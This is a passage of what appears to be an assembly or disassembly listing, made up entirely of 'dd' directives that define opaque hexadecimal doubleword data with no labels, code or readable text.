		dd 16CBC77Ch, 51411059h, 2E4EBDF4h, 5396C085h, 0E9A9D8AAh
		dd 1F12754Bh, 25E70801h, 823B2820h, 0C103ACCFh,	0F3E0C7E3h
		dd 0C511D694h, 72E8BA8h, 0A24B8D31h, 8F424870h,	13B6954h
		dd 7E0C7C25h, 0DCCEE949h, 0F5E39DFCh, 0BB2A408Ah, 35472CADh
		dd 2EE0C2A0h, 0E9021A05h, 0E1FCC20Ch, 0EACB85C4h, 7C1CE931h
		dd 94F28000h, 78BFC2E6h, 0E7F54F25h, 4FF5EA3h, 2A69BC2h
		dd 0D4627068h, 57726204h, 76AD5871h, 0A5AC53Fh,	82A16AEDh
		dd 510D68F0h, 12C0CC55h, 84607749h, 1F3F8B5Dh, 4D2C2D68h
		dd 78555062h, 3EA20928h, 8A0042B7h, 48BA1103h, 220CCBECh
		dd 0C0A2350h, 0AC771491h, 0E600902Eh, 31C18201h, 0F8975DEBh
		dd 1684F6D4h, 3795EA7h,	0D856E91Ch, 5EAEE94Eh, 66D3CE5Eh
		dd 628BFA13h, 0EF082D7Fh
		dd 992690D5h, 157E9F5Bh, 0A38F5F6Bh, 86C12153h,	0D85325C8h
		dd 0FFB4D5C5h, 450F99A0h, 0A4555F34h, 53AE6FF4h, 314FF592h
		dd 0DF20604Ch, 15D5B16h, 9CBBAD16h, 0B525E9F4h,	873518Ch
		dd 0B901E609h, 69454125h, 0DF842A20h, 4694BBB7h, 4C9E5A9Dh
		dd 0E12195E2h, 504EE3EEh, 6ADC3E30h, 33327D6Fh,	5728ABDDh
		dd 3B2735B1h, 71CBF2D0h, 6F01057Fh, 9452D387h, 90A704D6h
		dd 0A6BD0082h, 9E4C2823h, 0E3810146h, 201560BAh, 0ECA0DB85h
		dd 0FB09FF52h, 5D901B7h, 0BBCC18DBh, 0F574D68h,	5B2E2F7Dh
		dd 0DC630712h, 4DD280FBh, 0AF9F8BE0h, 0D17734BAh, 7C845525h
		dd 9652EB2Eh, 0FB679DFEh, 0E41E5B2Ch, 0F8AB72B5h, 748BDE08h
		dd 5437263h, 94643605h,	3F5EA40Bh, 290B4BB6h, 6BBD5E6Ch
		dd 0FDBB2BF5h, 510866C5h, 0AB2944B9h, 152098C9h, 83BE60A8h
		dd 18666EB8h, 9CDF2932h, 0BD672D8h, 23C70C4Fh, 7A49AD29h
		dd 0B42F3057h, 0DC38F30Bh, 0EEE85789h, 57807BD7h, 12820B68h
		dd 82541EC8h, 18035C02h, 0DA48C06Eh, 7ED82513h,	0B980D574h
		dd 1EBE1994h, 18362CE9h, 0F7006B01h, 65A35ECFh,	584EECB8h
		dd 0D1E3B399h, 0FB5044CBh, 5A60C4C3h, 0BCD5C58Ah, 0A2426F0Dh
		dd 7059FC66h, 4D7BA03Ch, 70170961h, 0D185EF29h,	95CC873h
		dd 0F28C5924h, 1A773A3Eh, 884A7594h, 8C2A08A3h,	558203B9h
		dd 0A2721768h, 999F6E4h, 74A54A5Fh, 90215D9h, 36FE680Fh
		dd 524689ACh, 0CB3EBAFAh, 0EA818649h, 4242EF6h,	0ECE94D9Ch
		dd 9008B808h, 32E40098h, 0A3BD020Eh, 0CEDE50E3h, 0EFE2D7CDh
		dd 2ADAD941h, 813C8E5Dh, 6E7B3460h, 0CACE0C3Ch,	4359873Dh
		dd 2BA5E160h, 0F717CFFh, 0D536F4F1h, 0E9CE09E1h, 80F6248Ah
		dd 0E9DFCB27h, 682430Bh, 7E3C055h, 3A2A53C1h, 0D9880F3h
		dd 5EBAA068h, 6F5E913h,	0EB02F9BDh, 26964721h, 646D2740h
		dd 18D7B074h, 0E98742EEh, 0FFF8876Ch, 939C23BFh, 0CFBF8512h
		dd 3F9E41D4h, 0FCF477B8h, 0CCBE97B5h, 2EB35903h, 0B7EB0D34h
		dd 5C354AEh, 5E5FB840h,	7E919952h, 0A8841D8Bh, 767EA48Ch
		dd 4F04501Ch, 0A6885FBh, 77C0F436h, 0E047E281h,	0F1165F42h
		dd 0C5D882A1h, 7F85A658h, 0F27F4903h, 775B884Ch, 32BF632Eh
		dd 0E85B7740h, 95A5A037h, 39312D3Ah, 0B2F16FEh,	0A11CDAEEh
		dd 4935E4F4h, 0EECDA06Fh, 3F677439h, 66CF1625h,	7B0B10CFh
		dd 0C583294Ch, 270276C4h, 0C34FA2C5h, 7587891Eh, 79CBE5D9h
		dd 219113AEh, 0D04EEAE8h, 0CC3494Bh, 9D030A39h,	0F1F5EB12h
		dd 6315F40h, 0CF5D40A9h, 0A256F919h, 0FE157748h, 9FBC2668h
		dd 7A5F0299h, 3DB65AA2h, 4C01497h, 0C87639C7h, 0B009C45Fh
		dd 324E684Bh, 6411A0F6h, 56466079h, 0BBF097E9h,	0B8810C94h
		dd 38617711h, 54575917h, 56AE306Fh, 281D46BEh, 0CA2839DBh
		dd 0BFCAA24Eh, 95256F58h, 0EEB9447Fh, 66D224E9h, 9D746BCBh
		dd 5438E9F0h, 0BE52595Fh, 0FA426F45h, 2FF4AEE9h, 5C0CF682h
		dd 0CA0043F2h, 7733AB43h, 0F7AD3C6Dh, 0E01F1125h, 0D81EF643h
		dd 0EF571804h, 71FA93C5h, 1EBA4ACh, 6970E7D1h, 0BF59A87h
		dd 0AED3DF9h, 0A6F88AD5h, 0EA4D9027h, 905AF487h, 25540B1Bh
		dd 0CF2E4681h, 8D974D44h, 0F81A5906h, 1CD665CAh, 20834A4h
		dd 0F505140h, 0E6DD4C01h, 590C81BDh, 0BD042B81h, 7B5BFD11h
		dd 32C42894h, 5D370A59h, 0D5BB41BFh, 95993AEh, 0B053856Eh
		dd 61B23C13h, 63CA68C0h, 74C03773h, 0A36187E9h,	0B245F831h
		dd 9A4BF4D6h, 5A661FC4h, 12D14B59h, 9F8986DBh, 74FB55F8h
		dd 10EDC66Eh, 0AB749718h, 7408A0C8h, 6CB80381h,	0EBBF8382h
		dd 9F36B55h, 0F1B7E945h, 0B00F4CFFh, 5F8D5A79h,	0BE7816E9h
		dd 0EA8093D5h, 0BF4F34C8h, 921BC7C0h, 2F3D79D4h, 0B1454086h
		dd 0E23CC4B5h, 0B490E4A6h, 344A0832h, 9D3258D5h, 0D168B499h
		dd 46B62E5Fh, 0B4ECF784h, 6F19F178h, 3922E6Eh, 60F34C40h
		dd 4A127A4h, 0E42D15F6h, 5AB4097Dh, 5A7F921Ah, 52583BD6h
		dd 0FC5B3192h, 378EDF0Bh, 5C2945D0h, 6D28DBEh, 2D0D7D0Ch
		dd 240145A7h, 41F1E97Ah, 480B72DAh, 0D856668Fh,	0BCF32568h
		dd 9FCDEE75h, 68D0F07Eh, 877558EFh, 0FAF655CBh,	22B43305h
		dd 0BF5A45ECh, 22EB2909h, 0C154B694h, 475302Fh,	0EF2E19F5h
		dd 5844271Dh, 0F10BD928h, 380AB27Ch, 0D0AD8696h, 72DE2530h
		dd 13348A2h, 0F8639457h, 0AF595BBDh, 0C7FC2E39h, 301ECB7Ch
		dd 25684560h, 0BCC2B5Ah, 0C5FE0112h, 30B6ED80h,	1B1F6CEBh
		dd 0ADBC50F6h, 0BCD216BBh, 0A852F1A4h, 0D062FB2Eh, 25D4645Ch
		dd 0FEF1715Eh, 0A8273C2h, 13C602F5h, 0C260442Ah, 87095935h
		dd 4EF09ECh, 8BFE6274h,	0E4E61067h, 4BDD5325h, 5BB9D921h
		dd 8D02854Dh, 1979D769h, 8125938Ch, 4F755F9Ch, 0F2A01B5Bh
		dd 0FB85052Ah, 0C82DEE24h, 12877EADh, 0EFFA202Eh, 0CE3D9D7Fh
		dd 98A196AEh, 0E0B391B4h, 0B05C90D8h, 9962252Dh, 0D1509B7Eh
		dd 6855135Ah, 0DE40BCA9h, 0A128B902h, 0EB67604Dh, 0CE9BB599h
		dd 0F22057E2h, 4BF409F9h, 4FB7EC0Ah, 0A0655BBEh, 57A7BBC5h
		dd 0BCD829C4h, 5F12B15Bh, 5735CC2Bh, 0CF42499Fh, 43C71720h
		dd 5E2E4832h, 5D583B82h, 0C2C3A973h, 5A2A25A4h,	554C1C58h
		dd 6348103Fh, 4704BA4Eh, 0BA643AE5h, 0C308AF19h, 2A68585Ch
		dd 32E10FADh, 0C77D8AFAh, 9FAE93DEh, 0AF39F36Ah, 39B2FDA1h
		dd 0CC163F40h, 210B4316h, 0C09E22A3h, 0D937F933h, 0E910F109h
		dd 5A2F4177h, 15F629ABh, 0E32747A8h, 8047EA4Ah,	0B4145A28h
		dd 7F12B763h, 40162178h, 0F10B2E35h, 0BCC07775h, 6B13EFF3h
		dd 0E3010C0Dh, 6A790943h, 0D025F8F3h, 53853204h, 0B30E63C8h
		dd 0D50A791Ah, 0F97FE294h, 29773B32h, 0EFB92B23h, 0F3BA1502h
		dd 38EED68Bh, 525EFB87h, 0C60B68Ah, 0DAE9C329h,	6801EEB6h
		dd 7FC07095h, 0AB916020h, 17C24F8Ch, 0BC05AF95h, 0E8D8B768h
		dd 0C011C32Ah, 54C103E0h, 0E0DC4D6Fh, 7F955A34h, 102E48AAh
		dd 9F804F8Fh, 173CF181h, 0E842DF01h, 5B5C1B3Dh,	7EDF8F0h
		dd 0EA6C4B85h, 6AFCF195h, 40D4BB96h, 9AC2C500h,	955E822Bh
		dd 820007Ch, 0F420E990h, 5458769Dh, 60F78675h, 0FC0D04D8h
		dd 902CD5Ch, 3896E805h,	0A8F855FDh, 0F934C025h,	0FD9EB4C5h
		dd 0D4004C5h, 0BCAB538Eh, 3008413Dh, 8294EB05h,	2D1C5A69h
		dd 115C2DBFh, 0DA6BE153h, 228D893Eh, 5F9CD13Dh,	0E8D222B2h
		dd 0E6810F02h, 39BCA4E0h, 82BA7F83h, 7A586010h,	43F39704h
		dd 0DCFEC813h, 92EBA086h, 1608E027h, 0A9BE13A5h, 74012504h
		dd 43E9C28Fh, 0C68000C8h, 0A2066861h, 89F4F028h, 871AD66Ch
		dd 10918207h, 0FA5196D5h, 0FF955A88h, 3DFFAC34h, 0C5992FE1h
		dd 0F12D1032h, 97B2DC60h, 5AD48802h, 0E106ECC0h, 297EA18Ch
		dd 75828264h, 4065DE3Eh, 8279BECBh, 0F2BA5F43h,	8809D25Ch
		dd 6B6C19EBh, 1BBF488Eh, 2A01C4ABh, 304A5FFAh, 0B980A2B5h
		dd 41622895h, 14D320FBh, 5D482176h, 10430466h, 660F5A2Dh
		dd 18176F46h, 2545A83Bh, 0F8AB4370h, 0B8644EEBh, 62DAF348h
		dd 5D080420h, 0F6DE0880h, 0AF864B93h, 0CCE02297h, 3739F66h
		dd 6DABF781h, 0C0336FBh, 0DA515B6h, 0DFB8CC29h,	8C72C3B2h
		dd 98C978D2h, 0F3C1E0F2h, 24789D0Eh, 77ED549h, 1B672D66h
		dd 0F0F3F049h, 7FDC3E0Dh, 0EE6F350Fh, 0C5828796h, 85EC0421h
		dd 0EB2D0056h, 153D036Fh, 705D801h, 96AE1024h, 7BC8AF93h
		dd 6FBFEA57h, 59E81C7Dh
		dd 2FE5516h, 6984686Bh,	579051D4h, 3B71E55Fh, 0DB42A3E8h
		dd 5E31CD10h, 0FAA03236h, 266D4B87h, 8D40E238h,	35AB0AB9h
		dd 9EC81375h, 7CD64051h, 0C1811E2Eh, 0F3502FCh,	0B3BE1E56h
		dd 0B3E985CFh, 0BEDEA0h, 7C7E295Dh, 9DDCF681h, 0E928EA05h
		dd 8FAE2F47h, 454B4833h, 0A3813A87h, 938E5BCh, 4657098Bh
		dd 0E30B6980h, 0D57B9282h, 13EBD00h, 29172561h,	8931EFCh
		dd 9C53D21h, 34C0EE05h,	613D65B6h, 0EA750A57h, 1FE97076h
		dd 0B52E5F81h, 0CEF2CC51h, 5C966D25h, 10E941BDh, 0BA80049Ch
		dd 0E239384Ah, 8A4364AFh, 45F8166Ch, 0E0353D7Dh, 0BB2D5F12h
		dd 15053C80h, 79F82463h, 7503E09h, 0C0D75BE9h, 552CBA24h
		dd 0E13B8126h, 30635802h, 57B5C4Fh, 0BE062051h,	65E9BC81h
		dd 97D5278h, 69751202h,	8A80EED4h, 55429A7Fh, 0C91B01BDh
		dd 40E98FB5h, 0D175C285h, 8CC2E939h, 7B63FD00h,	7EB51CAAh
		dd 7AA7397Eh, 0C382B8E3h, 5E1F1E5Eh, 291C0E89h,	0D5B68990h
		dd 0FA0F120Bh, 40C72117h, 94BB624Fh, 0F06A0728h, 50CDE5A5h
		dd 3A19F13Eh, 87CC3A5h,	2E09353Bh, 2C09942Ch, 0F544BAF7h
		dd 0DB29F18Ch, 7CE0942Fh, 64F42048h, 0EF839558h, 384FFE06h
		dd 0F9DFC79h, 313DE0ECh, 91664BDFh, 82F3947Dh, 0A6E7F78Dh
		dd 685EF001h, 14285FBDh, 0B4C096C9h, 81B5DAF7h,	2B72D061h
		dd 7D1AF2DBh, 0FE1A68CCh, 0DF0C8156h, 0CAA05490h, 1C4A4895h
		dd 0D0CB0CFEh, 73A052E3h, 77A78D94h, 0BF609D9Ah, 962C2AC1h
		dd 7427BD45h, 618B0B1h,	4F4FDB78h, 80010EBh, 0AD36E90Bh
		dd 0DF4117A7h, 8DB91B03h, 0AACA9E3Fh, 212CD635h, 0E81882C6h
		dd 1D0BC997h, 8F08E1C0h, 0F0CB90C1h, 0F627F3D6h, 26617AA4h
		dd 0BCCB6F73h, 6E965627h, 0C6371A09h, 21C20B07h, 5DEF014Dh
		dd 18EF643Fh, 72D6D42Fh, 576FD924h, 3A130D02h, 0FF2C404Ch
		dd 1F432E5Ah, 278800A9h, 0CF295732h, 96FD594Bh,	4F498400h
		dd 4EA9E93Ch, 495271B6h, 95536465h, 0EE8DB15Ch,	58590C84h
		dd 3B10E387h, 2CAFDB8Bh, 0D94A80BDh, 5F547320h,	3EC12A68h
		dd 0BA6B228Fh, 0D631E549h, 8E12BCECh, 0DC3ABD47h, 0CDFAD812h
		dd 62C343C9h, 0B15152D0h, 43E174C5h, 9A7104BBh,	0AAD9AA88h
		dd 50025D1h, 0F2050D83h, 2DC82907h, 50590705h, 923F8BEBh
		dd 4D52A591h, 0FDEAC001h, 3877CD80h, 692B4C21h,	618A5C1Ah
		dd 3F452568h, 99341F6h,	14D9210Fh, 0CC53DD81h, 3E09291Ch
		dd 4BE90878h, 0BA1A00A6h, 0C125C49h, 0C500829Ah, 817A0E5Fh
		dd 586DF9CDh, 0ED1DFD44h, 2C6E455Dh, 0B3D8AF29h, 38D26FF7h
		dd 1E4BF8C2h, 6B5D1761h, 13FA6F13h, 1801A668h, 0B8784CCDh
		dd 0F0C69501h, 6891CB69h, 0D7516C96h, 0BD85F4ABh, 0F4C5FAB5h
		dd 437C4E84h, 0F13B0EE9h, 0CA4F97F1h, 2783AC1h,	0A2D8FF31h
		dd 0EBE43505h, 0B9060187h, 4820558Ah, 0BF715EACh, 26930FEh
		dd 71602C26h, 0FED42544h, 68589C03h, 0D015FA46h, 0B22D05C8h
		dd 8034EC6Bh, 4C1A0739h, 56E94716h, 0CA351D80h,	596B587Bh
		dd 0AF8D7F12h, 680A169Ah, 69E92E44h, 3543C8D5h,	73622D7Ah
		dd 88858DE2h, 0B972BE06h, 0EBF298BAh, 1869029Fh, 703AE94Ch
		dd 296F3DD4h, 9F1D46Eh,	465DE821h, 0F32D4881h, 850A6113h
		dd 2092AF57h, 0B430E308h, 351AFB1Eh, 0F4290C81h, 8E7B57h
		dd 6BCC1E98h, 0D7B6F6E9h, 38EE2CE5h, 5789014Dh,	0CE2F1521h
		dd 40D01737h, 0D09920A9h, 1DFEA6F7h, 948CBA13h,	95641425h
		dd 0BF4EFE79h, 9082A516h, 9F2E704Eh, 0E9E1C2F9h, 0CA7A38D3h
		dd 44C10299h, 7D0E5316h, 2F603801h, 0DB40C657h,	0AF3B023Eh
		dd 0E8CE032Dh, 0E029FD64h, 371D5BE6h, 612426B6h, 8470A040h
		dd 0A3B5A40Ch, 0A5B90B81h, 1E7C6800h, 159999Dh,	0E1F7B351h
		dd 543A283Fh, 0FC26589Dh, 64781625h, 13A7804Dh,	52001898h
		dd 3433ABAh, 4BC2E974h,	84D0E909h, 0F60434CCh, 0A880C1DAh
		dd 3C29223Eh, 0F9C1C02h, 3B655F27h, 10976841h, 75C53168h
		dd 68E2BBEEh, 0C9B6DC19h, 5154FDD7h, 70BC25E3h,	35386D57h
		dd 1801718h, 0C83619EEh, 60C4F9BFh, 1F94DA71h, 39DCD42Dh
		dd 735F10C0h, 2DA12DEAh, 82FB8B1Ah, 25BBEFCh, 41E9F751h
		dd 0FCEFA7D9h, 0D5D627D1h, 0DE60ED59h, 2DE9100Ch, 8C444ED0h
		dd 5B0F4A6Fh, 358E14C4h, 75FCBC01h, 0CE71710Ah,	85FCF04h
		dd 71AE5D92h, 17CA6E9h,	6C705753h, 0F3818079h, 6F60B21Fh
		dd 0D8FC6025h, 8C12DFCh, 0CD34E2DAh, 9B81AF97h,	9B7F1D61h
		dd 6D226406h, 943A6289h, 0B7D8EC74h, 0F50B37A7h, 0F6253396h
		dd 0CC5B05E1h, 5E1DA4AFh, 4E034DEh, 0D0177FB9h,	0C133BB44h
		dd 0FFE35B58h, 0B7A99252h, 917CBAF5h, 5B62401Ch, 6254F6BFh
		dd 915B8268h, 0C8632C8Bh, 0D272B9A7h, 3274BDDh,	89D53629h
		dd 0F41AF8ADh, 6CFA3FF9h, 1EC1289Ah, 834B8657h,	8BE10489h
		dd 0EA4E0F64h, 4930ACB8h, 0C22A699Eh, 91373D75h, 0E3013899h
		dd 986FC380h, 0B472E95Eh, 0A539D197h, 31F364C3h, 5AD61202h
		dd 46090168h, 2FA3A446h, 9CF77C76h, 3B172500h, 1A4A004Bh
		dd 7E489EB9h, 4AAB94Ah,	148B0288h, 0B858C0CEh, 0A1C6E915h
		dd 471CF54Ch, 0C9691E2Ch, 4B10D99Eh, 5F278602h,	57D96292h
		dd 0A9E02DC8h, 553E2B24h, 4E2A7600h, 90CB293Fh,	0F80882C6h
		dd 0A597C89h, 5DC768EBh, 5628B071h, 2A6CCC76h, 0B7598770h
		dd 0C329130Fh, 778FB0F4h, 48AE062Ch, 0EC029792h, 15F6115Fh
		dd 0F23D9C00h, 5EF3E928h, 0BAAC258Ah, 0FABFDCD0h, 2E216353h
		dd 59F2A2CFh, 898780F5h, 26108F35h, 3908E7C1h, 0FB2F4D82h
		dd 0C3FDE964h, 16A98C7Fh, 0A18C129Fh, 0D2C078EDh, 2F99AC0Ch
		dd 0C3D34C01h, 2D7C3804h, 5C07C031h, 459341Dh, 41FE4F9Ch
		dd 8B60B84Dh, 53C8DB7Eh, 4C60FB16h, 0F5687418h,	0D3291335h
		dd 3007F35Ah, 0E9510F66h, 0AB83BDEAh, 97B9E588h, 0B20E80C4h
		dd 66D73087h, 98FEFA5Ah, 0EF06982h, 0C9E9A501h,	0CD457A4Fh
		dd 4E36DACh, 40AE42C4h,	22F829C1h, 0C8893E1Eh, 343BAB93h
		dd 0FBC6837Fh, 74B50BD9h, 0D9E4CB0Eh, 1B8F6825h, 5C61C064h
		dd 24E9EE82h, 6FC25409h, 910E91A4h, 245EF169h, 0D612F7DDh
		dd 20BFE6D1h, 5829AC87h, 11FDA75Ah, 98CBCE63h, 0A2DE652Fh
		dd 0F5F56EA7h, 0CD6FD259h, 0AC7F6B85h, 4781C480h, 5420BB00h
		dd 0C1F46AC9h, 21FF9D5Eh, 3F76D823h, 56873224h,	944164DFh
		dd 0DFC4EB40h, 7DF6B27Bh, 0B92C6D60h, 4A2479B4h, 1026ED74h
		dd 0BF0206F2h, 0B0D7AD1h, 0DD0B4277h, 0D8578FE2h, 4801F21Ah
		dd 0ED030CD6h, 1E7DCE69h, 5F62EECAh, 32416A6Ah,	26EBCCBCh
		dd 625E7C95h, 4DC3CE9h,	40FABE01h, 2F6849D8h, 74C5480Bh
		dd 22674F80h, 7F9A5AEBh, 0CD3E620Bh, 0C5CFC4FDh, 0ABE79CDAh
		dd 769457E2h, 347AD555h, 431FA03Eh, 0B6774D33h,	0B60D64C1h
		dd 84F2AA5Dh, 0BB7AD98h, 0EBE3AEBFh, 52F46190h,	0BEBA89F4h
		dd 0C54AB8BCh, 34CBABE2h, 0D9A0372Fh, 6FB75350h, 585D05F4h
		dd 21912AEh, 214EC3A3h,	7AB8500Dh, 0B42980F4h, 0D0B509FBh
		dd 0B03B8FDh, 1840822Dh, 825434Eh, 0A048D602h, 0DBE92D08h
		dd 57556580h, 44004F68h, 0BD5F3877h, 4B7FE047h,	0C341FA1Eh
		dd 0A908DB6Eh, 5AA25283h, 0EFFA3CD2h, 5D170808h, 448E6009h
		dd 9521F06Dh, 0C25C3F04h, 6CAE2F0Fh, 65DCF269h,	13124DC3h
		dd 22966E9h, 0EFB0500h,	89CC6577h, 18F50768h, 3AB96699h
		dd 571D23D1h, 0EEB8C150h
		dd 240DE974h, 3B4D2CACh, 39BE1026h, 0FC5F7359h,	0AD4CA1E9h
		dd 0DF4EC552h, 5828808Ah, 0A097D4E4h, 404BC62Fh, 0D8210478h
		dd 9482055Bh, 5AD4A866h, 0F686BCF2h, 0C8132198h, 2DF43968h
		dd 87604D65h, 0D2F6C501h, 0D52EF280h, 0D00A97DAh, 0E12803C1h
		dd 0E38B8873h, 5C5F9DC2h, 22E9F8CCh, 2158715Fh,	813DBC13h
		dd 0B1D87F5Ah, 5B86FCE8h, 8730BFCEh, 95029B68h,	0C357BD98h
		dd 9416681h, 48504531h,	2776CFBAh, 99D65CCDh, 8926974Eh
		dd 0B770CAAh, 580C7D5Ah, 2A400A10h, 52CE261Fh, 5381FAB2h
		dd 8120D8EEh, 0F3292675h, 0E9C202AAh, 36B44FAh,	418BBACDh
		dd 0E40AE984h, 6816E661h, 31E3764Ch, 11586201h,	24C7E927h
		dd 5B125E62h, 6DA2C501h, 0A8E63D12h, 6C8DA96Fh,	0D8452B8Ah
		dd 3092FD2Dh, 2F64AFA9h, 4B1FE601h, 4C3448BEh, 0A43D1265h
		dd 4061EA29h, 75C7ECE9h, 893AB43Fh, 7C9C5A8Eh, 4AFDDDA2h
		dd 2679D8CAh, 13712A58h, 0C29806F5h, 0F3953850h, 0A8EC2517h
		dd 271EE913h, 0E9409EB5h, 9F53EB11h, 6317CF7Ch,	0B8D2A4E3h
		dd 6D4800A2h, 0E956611Ch, 4C8C50A5h, 642D1674h,	911E0055h
		dd 453DB11Ch, 6C418498h, 0E9D2593Dh, 521610D6h,	4682B90Fh
		dd 0A88041CBh, 6EEE7630h, 3C5A8CB0h, 88608AE7h,	14386697h
		dd 975BD04h, 0F6EF0FD8h, 0A1235079h, 4D615381h,	0B7DF49E0h
		dd 0F55AF854h, 8B771B96h, 0ABD2ADB4h, 6445F59Eh, 0A0D4EB90h
		dd 0DAA9B18Bh, 9F20BF76h, 8EFEA835h, 54311B0h, 10684E2h
		dd 9FCEABFBh, 0A7684867h, 47770B10h, 0C9536992h, 0FC93E985h
		dd 0B3D077AAh, 0A5311D7Ch, 0F08326E1h, 0F1484A02h, 0F6F00AF2h
		dd 105BF39h, 2910C852h,	7442DD0h, 5143A9EBh, 0CB6B68D6h
		dd 0A0FC895Fh, 6BBEBBA8h, 0AB635EB5h, 6293CC30h, 2879485Dh
		dd 9753B12h, 84FD2934h,	27C37F36h, 8A283E3Ah, 0F0DE3BBBh
		dd 0B541B489h, 0E45EEA3Bh, 0F7C9ADB9h, 5677F692h, 63DC257Ch
		dd 0AF1F7DAh, 5E95E906h, 60DE7E21h, 3CF43458h, 0A7FE0A99h
		dd 0C524E7A8h, 0C5D3405h, 0E90E2C01h, 0E92E81C8h, 412E8CF0h
		dd 2894F2F7h, 2AAA4206h, 0F6BF1D70h, 0E5755282h, 0C0C412CEh
		dd 3E44BA01h, 56751700h, 202DE5BEh, 933986Ah, 0D96BDEB6h
		dd 5BD0027Dh, 4557094Eh, 0A4AD3F24h, 0CD294460h, 0F6952098h
		dd 0C7CE92EAh, 7232F7FCh, 0FF69423Bh, 0EB35304Bh, 0B62D331h
		dd 75105733h, 72DE92Dh,	9DA4EE8Eh, 14F9A656h, 0CAFFC35Dh
		dd 5156A747h, 7A7F44FFh, 0A50B45BEh, 622AAFAh, 5A33F108h
		dd 57B09AD5h, 724B465Ch, 11DA9F61h, 8FF8E390h, 5F5034C4h
		dd 0E24810CBh, 0E51DC70Fh, 0E939B092h, 5180E5Ah, 4F155CC6h
		dd 0C03CC416h, 0BE1B126Ah, 6801553Bh, 282D0892h, 0E9E15C7Ah
		dd 0E66F47EDh, 55CE5A11h, 5D92E909h, 0C8292222h, 6364765Fh
		dd 1D077923h, 0C828132Ch, 0E3D18CA5h, 0CCF25568h, 60BA2DF4h
		dd 0F024B0DBh, 4B0D12Dh, 0F010E954h, 0A977B3ABh, 0D2E7CC25h
		dd 2C103AFh, 0D2F76A2Ch, 726087E9h, 306B04A2h, 95854814h
		dd 592F31E8h, 42904A53h, 3201F748h, 93BAE51h, 5DED2BCBh
		dd 98F8EC7Dh, 6E5E6007h, 5CE57061h, 0DF02A890h,	2967FC4Ch
		dd 6E98C1D1h, 0F5C4036Ch, 0FA041277h, 0BEFC8299h, 877208A5h
		dd 1E1FF02Ch, 0F8292283h, 0EC6BEA68h, 71FB141Ch, 0CA03EB9Bh
		dd 0ADF3956h, 63D10C05h, 7CCA4401h, 0B623FA06h,	787FA636h
		dd 62B4A12Dh, 829DBFCh,	57008B3Bh, 8DE7B3BFh, 0C2679D1Ch
		dd 5E0C172Ch, 0E7D22A53h, 140B903Eh, 7403A73Bh,	0EFE9DF31h
		dd 302E2E46h, 928D0AF2h, 329841AFh, 0FF7647Eh, 52B7441Dh
		dd 7F19657h, 0BA93C36Dh, 192F7F3h, 27638917h, 80C9314Eh
		dd 514C2C8Ch, 49ABE977h, 4D763A72h, 2912F21Dh, 706AE0F0h
		dd 0D41E4125h, 207F20C3h, 0D8F37CFDh, 65C39174h, 0C33548C9h
		dd 70D2DA11h, 0CA291653h, 13F90155h, 2F462D60h,	9705DCC0h
		dd 0B9E94A01h, 0ED511768h, 0D66FDCBAh, 8BFF3F52h, 69B6745Bh
		dd 0E9028E80h, 15AAB282h, 0CECF0940h, 6B082391h, 1C6D266Dh
		dd 0C4116420h, 577EA8DFh, 0F26F1270h, 7A91B3AEh, 0F1383527h
		dd 0C16805B2h, 9490E93Bh, 4A085CB7h, 0CAD756F2h, 24BB5EEDh
		dd 88C0809Ch, 4B5BE9D3h, 8BAD2116h, 3EEE68F0h, 0EF67909Eh
		dd 4F17ADBCh, 2AC1A5D6h, 0B9254CB2h, 0CAA2585Ch, 6164AE0Ah
		dd 5813C23Ah, 0F3501EC7h, 0EC37AB4Dh, 0B47008F5h, 5D04B308h
		dd 1E83CE29h, 4041B235h, 975FFE26h, 9320A544h, 0C4E89774h
		dd 5E3E0F8Eh, 0EBE977Ah, 34CFFEACh, 2D5350D0h, 461C6F2Eh
		dd 605BDA0Ch, 0D73817A1h, 0C5BBC14Bh, 0D51412B0h, 3B1EDFA3h
		dd 60556CFAh, 83522C92h, 1A0E783Ch, 8132AA0Bh, 7FB26873h
		dd 190F57Ah, 7A63CA55h,	2CA29BACh, 0E958D55Eh, 2745B4FEh
		dd 64708671h, 0BF12D636h, 0A02EE9D1h, 0B4016973h, 43EB8074h
		dd 75F76C28h, 5D6B5BB1h, 0A1C35DE4h, 24C729E9h,	0C9F8848h
		dd 0EF874932h, 0FC6B1505h, 808F5E3Dh, 1ACDBB4Eh, 0B080AC2Eh
		dd 0DD41B1E9h, 3E184B60h, 0FB7BE65Ch, 6FBD8D79h, 7CC308D3h
		dd 0B80BFF26h, 0E214758Ah, 0B9438AB9h, 619B8007h, 870126E9h
		dd 0DB87BD2Ch, 0B2CA6D7Ah, 53F541A1h, 4475A53Dh, 3DC22035h
		dd 62C95F69h, 50788037h, 9805A359h, 0FADF77A5h,	18E1EC20h
		dd 74847341h, 3A95FDA0h, 291F42EAh, 0B85D80ADh,	0B07E1359h
		dd 86B0516h, 828933E1h,	3140050Ah, 0E97CD976h, 0D5A97EE9h
		dd 0FC7C07C4h, 8525C68Ah, 11584C10h, 264187E5h,	0C68108EBh
		dd 8CBA04A9h, 429F4F7Ah, 60F477D8h, 9E3FE9F8h, 0D9F70B03h
		dd 7C0BD8F6h, 0BA96001Fh, 5A1E58F8h, 423E833Ch,	51DAF788h
		dd 0E306802h, 62596224h, 674D51DEh, 8716E0EAh, 92FE9ADh
		dd 24167FFCh, 0C8FDC58Ah, 0C791DD01h, 0B63CBE28h, 0C149A080h
		dd 0C7025EDBh, 0DF53D64Ah, 0D50442E4h, 29415089h, 4BD343BAh
		dd 0EB9C8F13h, 88127BE9h, 0B9A0EBD7h, 0B8B24E73h, 600EACDFh
		dd 4CC71D5Dh, 264E0918h, 0E60023EDh, 36DD0413h,	9B90DEF7h
		dd 0F5679B0Bh, 0DAC38440h, 1539AC0Bh, 4A7D28C9h, 0FC9929FEh
		dd 6FC10B05h, 0AD6C76E1h, 1D1EE564h, 4849D33Dh,	0BB0A61F7h
		dd 68152A02h, 7154258Dh, 62F262A6h, 82F39C5Dh, 8DE85595h
		dd 0BB81408Dh, 0D4A2F97Fh, 13EBA452h, 27E3EAB1h, 0AFA3E984h
		dd 0A5C7AC4Ah, 4AACA913h, 9DFFB22Dh, 0DEDEAA4Bh, 766BC524h
		dd 8D4DC07Dh, 652C9C53h, 8A04001h, 719EBEA0h, 0C867BD2Eh
		dd 347F4D0Fh, 5EC200D4h, 29456F5Ch, 20B098D5h, 0F778B74Bh
		dd 0AF8BA0A1h, 2FF3920Eh, 0B8DAA68Eh, 5E566010h, 39C408E4h
		dd 18D6893Fh, 0C1C58E0Ch, 3E727B58h, 61135736h,	2937BB51h
		dd 0B7D5E92h, 444FA1F4h, 0C8FB0369h, 2A16EF9Ch,	0DAC7593Dh
